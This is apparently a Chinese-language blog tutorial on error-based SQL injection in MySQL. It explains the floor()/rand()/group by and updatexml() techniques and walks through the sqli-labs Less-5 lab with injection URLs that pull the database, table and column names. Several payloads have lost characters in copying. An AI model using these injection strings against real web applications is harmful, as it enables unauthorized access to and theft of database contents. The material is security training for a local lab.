报错注入

1.注入原理

报错注入中,报错方法有多种,今天看了知乎大佬 shiyan 写的关于报错的博客,感觉他总结的已经很详细了,我就不做过多的阐述了。参考http://sh1yan.top/?p=36

floor()

因为报错的方法太多,还没去了解每一种方法。我就介绍下我已经了解过的,其他的参见 shiyan 的博客

原理:简而言之,就是 count()、rand()、group by 一起使用的话就是会报错,具体参考这篇博文 http://www.cnblogs.com/xdans/p/5412468.html

例:select first_name from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

updatexml()

updatexml(XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值

第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式

原理:第二位格式错误到导致的错误

例:select first_name from users where user_id=3 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

2.注入例子

这里以sqli的第5关为例


这里可以看到,当正常传入 id 值时,不回显数据

当传入一个单引号时,报错了,有错误信息输出,说明可以报错注入

先把引号闭合,http://127.0.0.1/sqli/Less-5/?id=1’ –+

查询数据库名称:http://127.0.0.1/sqli/Less-5/?id=1' union (select 1 from (select count(),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a)–+

查询表名:http://127.0.0.1/sqli/Less-5/?id=1' union (select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+

查询字段名:http://127.0.0.1/sqli/Less-5/?id=1' union (select 1 from (select count(),concat((select column_name from information_schema.columns where table_name=’users’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+

数据库,表,字段都查到了,差数据就不演示了

3.总结

报错注入的前提是要 有错误信息的显示 ,否则的话不能注入